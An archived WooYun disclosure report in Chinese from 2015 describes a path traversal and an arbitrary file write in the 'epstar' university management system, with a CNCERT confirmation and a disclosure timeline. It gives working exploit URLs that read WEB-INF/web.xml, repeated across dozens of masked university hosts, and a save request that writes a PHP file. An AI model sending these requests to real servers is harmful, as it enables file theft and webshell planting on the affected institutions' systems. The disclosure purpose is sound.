乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-05: 细节已通知厂商并且等待厂商处理中 2015-08-06: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开 2015-08-09: 细节向第三方安全合作伙伴开放 2015-09-30: 细节向核心白帽子及相关领域专家公开 2015-10-10: 细节向普通白帽子公开 2015-10-20: 细节向实习白帽子公开 2015-11-04: 细节向公众公开
简单暴力的漏洞
说实在哟,还真不清楚这到底什么系统,看到每个都是目录epstar应该叫epstar系统,有的学校用它做学生信息系统管理、有的学校用它用宿舍信息管理、有的学校用它做科研管理、有的学校用它做研究生系统管理。 某日晚上,在测试漏洞的时候,发现后台抓包居然发现了这么严重的问题。问题出在:
/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xml
就是这么简单发现了居然可以读取任意文件:看看南开大学的:
http://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xml
挖了一下案例,居然是通用: (很多名校没有统计全标题,还有很多案例)
http://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**:86/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xml 复旦大学http://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**:86/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xml 中国农业大学http://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/..http://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xmlhttp://**.**.**.**/epstar/servlet/RaqFileServer?action=open&fileName=/../WEB-INF/web.xml
更奇葩的在这里,任意文件写入漏洞,当action操作为sava时可以写任意文件进去~以同济大学开刀测试。http://**.**.**.**/epstar/servlet/RaqFileServer?action=save&fileName=../wooyun.php
果然就是直接写进去了
修复吧,要打马赛克请联系乌云管理员哟~
危害等级:高
漏洞Rank:12
确认时间:2015-08-06 09:46
CNVD确认所述情况,已经转由CNCERT下发给赛尔教育,由其后续协调网站管理单位处置。
暂无